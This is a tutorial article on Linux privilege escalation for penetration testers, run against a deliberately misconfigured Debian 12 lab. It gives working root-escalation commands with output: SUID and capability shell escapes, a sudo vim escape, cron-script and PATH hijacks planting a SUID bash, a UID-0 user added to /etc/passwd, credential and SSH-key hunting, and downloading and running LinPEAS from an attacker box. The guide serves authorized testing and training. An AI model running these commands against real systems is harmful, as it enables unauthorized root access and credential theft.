Linux Tutorials

Linux Privilege Escalation: Complete Guide for Pentesters

You have a shell on the target. It says lowpriv@target:~$ and you need it to say root@target:~#. That gap between unprivileged access and root is what privilege escalation is about. Every engagement, every box on Hack The Box, every OSCP exam machine has this phase. Initial foothold is just the beginning.

Original content from computingforgeeks.com - post 165929

This guide covers the techniques that consistently show up in real-world assessments, OSCP labs, and CTF challenges. We walk through SUID abuse, Linux capabilities, sudo misconfigurations, writable cron jobs, PATH hijacking, and automated enumeration with LinPEAS on a proper pentest lab. Every technique here was tested hands-on, with real command output captured from a vulnerable Debian 12 system.

Tested April 2026 on Debian 12 (bookworm), kernel 6.1.0-38-amd64

Prerequisites

To follow along with these techniques, you need:

  • A Kali Linux installation or any Linux attack box
  • A vulnerable target machine (Debian 12 used here, kernel 6.1.0-38-amd64)
  • Low-privilege shell access on the target (SSH, reverse shell, web shell)
  • Basic Linux command-line skills
  • Familiarity with network scanning with Nmap for initial enumeration

The test system has several intentional misconfigurations: SUID binaries, a sudo entry with NOPASSWD, a writable cron script, and a binary with cap_setuid. These mirror what you find on OSCP exam machines and real-world servers that have been poorly hardened.

Initial Enumeration

Before touching anything else, gather context about where you landed. The first 30 seconds on a box should answer: who am I, what OS is this, and what’s running here?

Check your current user and system information:

id
whoami
hostname
uname -a

This tells you your UID, group memberships, the kernel version, and the hostname. The kernel version matters because certain kernel exploits only work on specific versions.

Next, check the OS release details:

cat /etc/os-release

On our Debian 12 test box, this confirms bookworm with kernel 6.1. Knowing the exact distribution affects which exploits and package paths apply.

Look for other users who can log in:

cat /etc/passwd | grep -v nologin | grep -v false

Any user with /bin/bash or /bin/sh as their shell is worth investigating. Check if they have readable home directories, SSH keys, or history files with credentials.

Check network connections and listening services:

ip a
ss -tlnp

Services listening on localhost (127.0.0.1) that aren’t exposed externally can be interesting. A MySQL instance on 127.0.0.1:3306 or a web admin panel on 127.0.0.1:8080 might have weak credentials.

List running processes to spot services running as root:

ps aux

Processes running as root are potential targets. If a root process reads from a file you can write to, or loads a library from a writable directory, that’s a vector.

Get a quick count of installed packages to gauge how much attack surface exists:

dpkg -l | wc -l

A minimal server might have 200 packages. A desktop environment with hundreds of packages means more binaries to check for SUID bits, capabilities, and misconfigurations.

While you’re gathering information, also check for Docker group membership and mounted filesystems:

groups
cat /etc/fstab
mount | grep -v cgroup

If your user is in the docker group, you can mount the host filesystem inside a container and read /etc/shadow or write SSH keys to /root/.ssh/. The docker group is effectively root access. Same applies to the lxd group on Ubuntu systems.

Check for NFS shares with no_root_squash, which allows root on client machines to write as root on the NFS server:

cat /etc/exports 2>/dev/null

If you see no_root_squash on any export, you can mount it from your attack box, create a SUID binary as root, then execute it on the target. This is a classic OSCP vector.

SUID and SGID Binaries

SUID (Set User ID) binaries execute with the permissions of the file owner, not the user who runs them. When a binary owned by root has the SUID bit set, it runs as root regardless of who invoked it. This is the single most common privilege escalation vector on Linux machines.

Find all SUID binaries on the system:

find / -perm -4000 -type f 2>/dev/null

On our test system, this returned:

/usr/local/bin/python3-suid
/usr/local/bin/find-suid
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/su
/usr/bin/umount

Most of these are standard system binaries (passwd, mount, su, sudo). The two that immediately stand out are /usr/local/bin/python3-suid and /usr/local/bin/find-suid. Anything in /usr/local/bin is non-standard, which means an admin installed it manually. That’s always worth investigating.

Cross-reference every non-standard SUID binary against GTFOBins, the definitive reference for Unix binary exploitation. GTFOBins documents how common binaries can be abused for privilege escalation when they have SUID, sudo, or capability permissions.

Exploiting SUID find

The find command has an -exec flag that runs arbitrary commands. When find has the SUID bit and is owned by root, those commands run as root.

/usr/local/bin/find-suid /tmp -maxdepth 0 -exec whoami \;

Confirm we execute as root:

lowpriv@debian-bookworm:~$ /usr/local/bin/find-suid /tmp -maxdepth 0 -exec whoami \;
root
lowpriv@debian-bookworm:~$ /usr/local/bin/find-suid /tmp -maxdepth 0 -exec id \;
uid=0(root) gid=0(root) groups=0(root)

Full root. To get an interactive shell from here:

/usr/local/bin/find-suid /tmp -maxdepth 0 -exec /bin/bash -p \;

The -p flag tells bash to preserve the effective UID (root) instead of dropping privileges.

Exploiting SUID Python3

Python with SUID is even more direct because you can call os.setuid(0) to switch to root, then spawn a shell:

/usr/local/bin/python3-suid -c 'import os; os.setuid(0); os.system("/bin/bash")'

The result is an immediate root shell:

lowpriv@debian-bookworm:~$ /usr/local/bin/python3-suid -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@debian-bookworm:~# id
uid=0(root) gid=0(root) groups=0(root)

Languages like Python, Perl, and Ruby should never have the SUID bit set. They provide too much control over system calls. If you see any interpreted language binary with SUID, it’s almost certainly exploitable.

For SGID (Set Group ID) binaries, the concept is similar but you inherit the group rather than the user. Find them with:

find / -perm -2000 -type f 2>/dev/null

SGID escalation is less common but worth checking. If a binary runs with the shadow group, for instance, it can read /etc/shadow and you can extract password hashes for offline cracking with Hashcat or John the Ripper.

Linux Capabilities

Linux capabilities break the monolithic root privilege into fine-grained units. Instead of giving a binary full root access via SUID, an admin can assign specific capabilities. The problem is that some capabilities are just as dangerous as full root.

Enumerate all binaries with capabilities:

getcap -r / 2>/dev/null

On our test system:

/usr/local/bin/python3-cap cap_setuid=ep
/usr/bin/ping cap_net_raw=ep

The ping binary with cap_net_raw is normal and expected. The dangerous one is python3-cap with cap_setuid=ep. The cap_setuid capability allows a process to change its UID to anything, including 0 (root). The ep suffix means the capability is both effective and permitted.

Exploiting cap_setuid on Python3

The exploitation is identical to the SUID Python3 technique because cap_setuid allows the same os.setuid(0) call:

/usr/local/bin/python3-cap -c 'import os; os.setuid(0); os.system("/bin/bash")'

Confirmed root:

lowpriv@debian-bookworm:~$ /usr/local/bin/python3-cap -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@debian-bookworm:~# whoami
root

Other dangerous capabilities to watch for:

  • cap_setuid: change UID to root (game over)
  • cap_setgid: change GID to any group (read shadow, access restricted files)
  • cap_dac_override: bypass all file read/write permission checks
  • cap_dac_read_search: bypass file read permissions and directory search
  • cap_sys_admin: a grab-bag capability that includes mounting filesystems, a path to root
  • cap_sys_ptrace: attach to processes and inject code, including processes running as root

If you find any of these on a binary you can execute, check GTFOBins for the specific exploitation technique.

Sudo Misconfigurations

This should be the very first thing you check on any target. If the current user has sudo permissions, you might be one command away from root. Many admins grant sudo access to specific binaries thinking it’s safe, without realizing those binaries can spawn shells.

Check what the current user can run with sudo:

sudo -l

On our test system:

Matching Defaults entries for lowpriv on debian-bookworm:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, use_pty

User lowpriv may run the following commands on debian-bookworm:
    (root) NOPASSWD: /usr/bin/vim

The user lowpriv can run vim as root without a password. This is a textbook misconfiguration. Vim (and vi) can execute shell commands from within the editor.

Exploiting Sudo Vim

Launch vim as root and break out to a shell:

sudo vim -c ':!/bin/bash'

The -c flag executes a vim command on startup. The :! prefix runs an external command. The result:

lowpriv@debian-bookworm:~$ sudo vim -c ':!/bin/bash'
root@debian-bookworm:~# id
uid=0(root) gid=0(root) groups=0(root)

Root shell in one command. Alternatively, you can open vim first, then type :!/bin/bash inside the editor.

Common Dangerous Sudo Entries

These binaries are frequently misconfigured in sudo and can all be abused for shell access. Every one of them has an entry on GTFOBins with the exact exploitation command:

  • vim / vi: :!/bin/bash
  • less / more: !/bin/bash while viewing a file
  • nmap (older versions): --interactive then !sh
  • find: -exec /bin/bash \;
  • awk: BEGIN {system("/bin/bash")}
  • perl: -e 'exec "/bin/bash"'
  • python: -c 'import os; os.system("/bin/bash")'
  • ruby: -e 'exec "/bin/bash"'
  • env: /bin/bash

The pattern here is clear: any binary that can execute subcommands or system calls is dangerous in a sudo context. When you see (root) NOPASSWD: followed by any of these, it’s almost always an instant root.

Writable Cron Jobs

Cron jobs run on a schedule, and if they run as root while referencing a script you can write to, you can inject commands that execute as root the next time the job fires.

Start by checking system-level cron configurations:

cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /var/spool/cron/crontabs/

On our test system, there is a cron job in /etc/cron.d/:

lowpriv@debian-bookworm:~$ cat /etc/cron.d/backup-job
* * * * * root /opt/scripts/backup.sh

lowpriv@debian-bookworm:~$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 66 Apr 13 12:57 /opt/scripts/backup.sh

Two things jump out. The cron job runs every minute as root. The script it executes is world-writable (rwxrwxrwx). Any user on the system can modify this script, and root will execute the modified version within 60 seconds.

To find other writable files that might be referenced by cron or other root processes:

find / -writable -type f 2>/dev/null | grep -v proc

Exploiting a Writable Cron Script

The cleanest exploitation technique is to append a command that creates a SUID copy of bash. This avoids reverse shells and gives you persistent root access:

echo 'cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash' >> /opt/scripts/backup.sh

Wait for the cron job to fire (up to 60 seconds), then check if the SUID bash was created:

lowpriv@debian-bookworm:~$ ls -la /tmp/rootbash
-rwsr-xr-x 1 root root 1234376 Apr 13 12:59 /tmp/rootbash
lowpriv@debian-bookworm:~$ /tmp/rootbash -p
rootbash-5.2# id
uid=1001(lowpriv) gid=1001(lowpriv) euid=0(root) groups=1001(lowpriv)

The euid=0(root) confirms effective root privileges. The -p flag is critical here because without it, bash drops the SUID privileges on startup.

In a real engagement, you would also want to clean up after yourself: remove the line you added to the cron script and delete /tmp/rootbash when done. Leaving SUID shells lying around is sloppy tradecraft.

Writable /etc/passwd

On modern Linux systems, passwords are stored in /etc/shadow which is readable only by root. But /etc/passwd still supports the legacy password field (the second column). If /etc/passwd is writable by your user, you can add a new user with UID 0.

Check permissions first:

ls -la /etc/passwd

If it shows world-writable or writable by your group, generate a password hash:

openssl passwd -1 -salt evil password123

This produces a hash like $1$evil$abc123.... Append a new root-equivalent user to /etc/passwd:

echo 'evil:$1$evil$HPwQPiQ1sVe1n/8YKBNxh1:0:0:root:/root:/bin/bash' >> /etc/passwd

The 0:0 sets both UID and GID to 0 (root). Now switch to the new user:

su evil

Enter the password you chose (in this case password123), and you have root. This technique is rare on modern, properly configured systems because /etc/passwd is almost always owned by root with 644 permissions. It does appear on OSCP exam machines occasionally, and some older or embedded Linux systems have this misconfiguration.

PATH Hijacking

PATH hijacking exploits SUID or root-owned binaries that call other programs without using their full path. If a SUID binary calls service instead of /usr/sbin/service, you can create a malicious service binary earlier in the PATH and it gets executed with root privileges.

The methodology:

  1. Identify a SUID binary that calls commands without absolute paths
  2. Check what commands it calls using strings or ltrace
  3. Create a malicious version of the called command
  4. Prepend a writable directory to PATH
  5. Execute the SUID binary

Inspect a suspicious SUID binary for command names:

strings /usr/local/bin/suid-binary | grep -i service
strings /usr/local/bin/suid-binary | grep -i curl

If you find that the binary calls, say, curl without the full path /usr/bin/curl, create a malicious version:

echo '#!/bin/bash' > /tmp/curl
echo 'cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash' >> /tmp/curl
chmod +x /tmp/curl

Prepend /tmp to your PATH so it takes priority:

export PATH=/tmp:$PATH

Now execute the SUID binary. When it calls curl, it finds your malicious version first. The SUID bash gets created with root ownership, and you use /tmp/rootbash -p to get a root shell.

PATH hijacking appears frequently in CTF challenges and Hack The Box machines. In production environments, it’s less common because modern SUID binaries typically use absolute paths. Still worth checking, especially on custom in-house tools that weren’t written with security in mind.

A variation of PATH hijacking involves shared library hijacking. If a SUID binary loads a shared library from a writable directory, you can replace that library with malicious code. Check what libraries a binary loads with:

ldd /usr/local/bin/suid-binary

If any listed library path is in a directory you can write to, or if LD_LIBRARY_PATH is preserved across the SUID boundary (rare on modern systems), you have a vector. Create a malicious .so file that spawns a shell when loaded.

Automated Enumeration with LinPEAS

Manual enumeration is essential to understand, but in practice you want to run automated tools that check hundreds of vectors simultaneously. LinPEAS (Linux Privilege Escalation Awesome Script) is the gold standard.

Download LinPEAS from the official repository:

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh

Transfer it to the target. If you have a web server on your attack box (10.0.1.50), the simplest method is:

On your Kali machine, start a quick HTTP server:

python3 -m http.server 8000

On the target, download and execute:

curl http://10.0.1.50:8000/linpeas.sh -o /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh | tee /tmp/linpeas-output.txt

LinPEAS produces color-coded output. Pay attention to the color coding:

  • RED/YELLOW (95% PE vector): Almost certainly exploitable. Drop everything and investigate these first
  • RED (high confidence): Very likely exploitable
  • CYAN (low confidence): Might be exploitable depending on context
  • BLUE (informational): Useful for understanding the environment

LinPEAS would have flagged every vulnerability we exploited above: the SUID find and python3, the cap_setuid capability, the sudo vim entry, and the world-writable cron script. Running it saves time, but understanding the techniques manually is what matters for exams and real engagements where you need to know why something is exploitable.

Alternative Enumeration Tools

Beyond LinPEAS, these are worth having in your toolkit:

  • LinEnum: Older but still effective, lighter output than LinPEAS
  • linux-exploit-suggester: Specifically checks for kernel exploits based on the running kernel version
  • pspy: Monitors running processes without root permissions, excellent for catching cron jobs that don’t appear in standard cron directories
  • linux-smart-enumeration (lse.sh): Verbosity levels let you control how much output you get

On OSCP, you are allowed to use these tools. Bring all of them on your attack box and transfer whichever fits the situation.

Kernel Exploits

Kernel exploits are the nuclear option. They target vulnerabilities in the Linux kernel itself to gain root. They are powerful but carry real risk: a failed kernel exploit can crash the target or cause a kernel panic, which in an engagement means you just took down a production server, and in OSCP means you just lost your exam machine.

Check the kernel version:

uname -r

Search for known exploits:

searchsploit linux kernel 6.1

Some historically significant kernel exploits:

  • DirtyPipe (CVE-2022-0847): Affected kernels 5.8 through 5.16.11. Allowed overwriting data in read-only files, including SUID binaries. Extremely reliable when applicable
  • DirtyCow (CVE-2016-5195): Affected kernels 2.6.22 through 4.8.3. Race condition in copy-on-write that allowed writing to read-only memory mappings. One of the most impactful kernel bugs ever found
  • PwnKit (CVE-2021-4034): Not strictly a kernel exploit, but a polkit vulnerability that affected virtually every Linux distribution. Trivially exploitable from any local user

Our test kernel (6.1.0-38) is fully patched, so no kernel exploit was needed. This is the correct assessment order: exhaust all misconfiguration-based vectors before resorting to kernel exploits. Misconfigurations are reliable, repeatable, and don’t crash anything. Kernel exploits are fragile and version-specific.

If you do need to compile a kernel exploit on the target, check that gcc or cc is available:

which gcc
which cc

If no compiler exists on the target, compile on your Kali machine for the target’s architecture and transfer the binary.

Credential Hunting

Sometimes the fastest path to root is finding credentials that someone left lying around. Admins reuse passwords. Developers hardcode secrets. Backup scripts store database credentials in plaintext. This is often overlooked by pentesters who jump straight to technical exploits.

Check bash history for previously typed passwords:

cat ~/.bash_history
cat /home/*/.bash_history 2>/dev/null

Search for configuration files with passwords:

grep -ri "password" /etc/ 2>/dev/null | grep -v ":#"
grep -ri "password" /var/www/ 2>/dev/null
grep -ri "password" /opt/ 2>/dev/null

Look for SSH private keys:

find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" 2>/dev/null
find / -name "*.pem" -o -name "*.key" 2>/dev/null

Check environment variables for secrets:

env
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i pass

Common locations where credentials appear:

  • /var/www/html/wp-config.php (WordPress database credentials)
  • /etc/mysql/debian.cnf (MySQL maintenance password on Debian)
  • .env files in web application directories
  • /opt/*/config* files for installed applications
  • /home/*/.ssh/ directories for private keys
  • ~/.bashrc and ~/.profile for exported credentials

If you find a database password, try it with su root. Password reuse between services and the root account is disturbingly common.

Also check for readable backup files. Admins frequently create tarballs of /etc or database dumps and leave them in world-readable locations:

find / -name "*.tar.gz" -o -name "*.bak" -o -name "*.sql" -o -name "*.dump" 2>/dev/null

A backup of /etc/shadow gives you password hashes for every user on the system. Extract them and crack them offline with Hashcat or John the Ripper. SHA-512 hashes (the default on modern Debian) are slow to crack, but weak passwords still fall quickly with good wordlists like rockyou.txt.

Don’t forget to check for writable /etc/shadow as well (extremely rare but worth the two-second check):

ls -la /etc/shadow

If writable, you can replace the root password hash directly. Generate a new hash with openssl passwd -6 -salt xyz newpassword and substitute it into the root line of /etc/shadow.

Privilege Escalation Methodology

After running through all these techniques, here is the order of operations that works consistently across OSCP, CTFs, and real engagements. This is sorted by reliability and speed, not complexity:

  1. Run sudo -l first. This is the fastest win. If you have a NOPASSWD entry for any binary on GTFOBins, you are done in under 10 seconds
  2. Check SUID binaries and capabilities. Run the find command for SUID bits and getcap -r / for capabilities. Cross-reference non-standard results with GTFOBins
  3. Look for writable cron jobs and scripts. Check /etc/crontab, /etc/cron.d/, and use pspy to catch hidden scheduled tasks. Verify permissions on every script referenced by a cron job
  4. Hunt for credentials. Check history files, configuration files, environment variables, and SSH keys. Try any passwords you find with su root
  5. Run LinPEAS for anything you missed. Automated tools catch vectors that manual checks overlook, like NFS misconfigurations, Docker group membership, or writable systemd timers
  6. Kernel exploits as last resort. Only when every other vector has been exhausted. Match the exact kernel version to a known exploit, test it carefully, and be prepared for the target to crash

This methodology maps directly to what OSCP expects. The exam gives you 23 hours and 45 minutes. Spending 20 minutes running sudo -l, SUID checks, and LinPEAS on each machine before attempting anything else is the most time-efficient approach. Most OSCP machines fall to one of the first three steps.

One more thing worth emphasizing: document everything as you go. When you find the escalation vector, screenshot or copy the output immediately. In a real engagement, you need that evidence for the report. In OSCP, you need it for the proof screenshots. The number of people who root a box and then forget to capture the proof is higher than you’d expect.

Quick Reference: Privilege Escalation Commands

Keep this cheat sheet handy during engagements. These are the commands you will type on every single Linux target, in order:

CheckCommand
Current user contextid; whoami; groups
Sudo permissionssudo -l
SUID binariesfind / -perm -4000 -type f 2>/dev/null
SGID binariesfind / -perm -2000 -type f 2>/dev/null
Linux capabilitiesgetcap -r / 2>/dev/null
Writable cron scriptsls -la /etc/cron* /var/spool/cron/crontabs/
World-writable filesfind / -writable -type f 2>/dev/null
Credential filesfind / -name "*.conf" -o -name "*.cfg" -o -name ".env" 2>/dev/null
SSH keysfind / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
Kernel versionuname -r
Docker/LXD groupsgroups
NFS sharescat /etc/exports 2>/dev/null

Bookmark GTFOBins and keep it open in a browser tab during every engagement. When you find a non-standard SUID binary, sudo entry, or capability, GTFOBins will tell you exactly how to exploit it in seconds.

Related Articles

Git Install Gitea Git service on Ubuntu 22.04|20.04|18.04|16.04 Monitoring How To Install Grafana on CentOS 8 / RHEL 8 Featured Best Terminal Shell Prompts for Zsh, Bash and Fish AlmaLinux Deploy 3-Node RabbitMQ Cluster on Rocky Linux 10 / AlmaLinux 10

Leave a Comment

Press ESC to close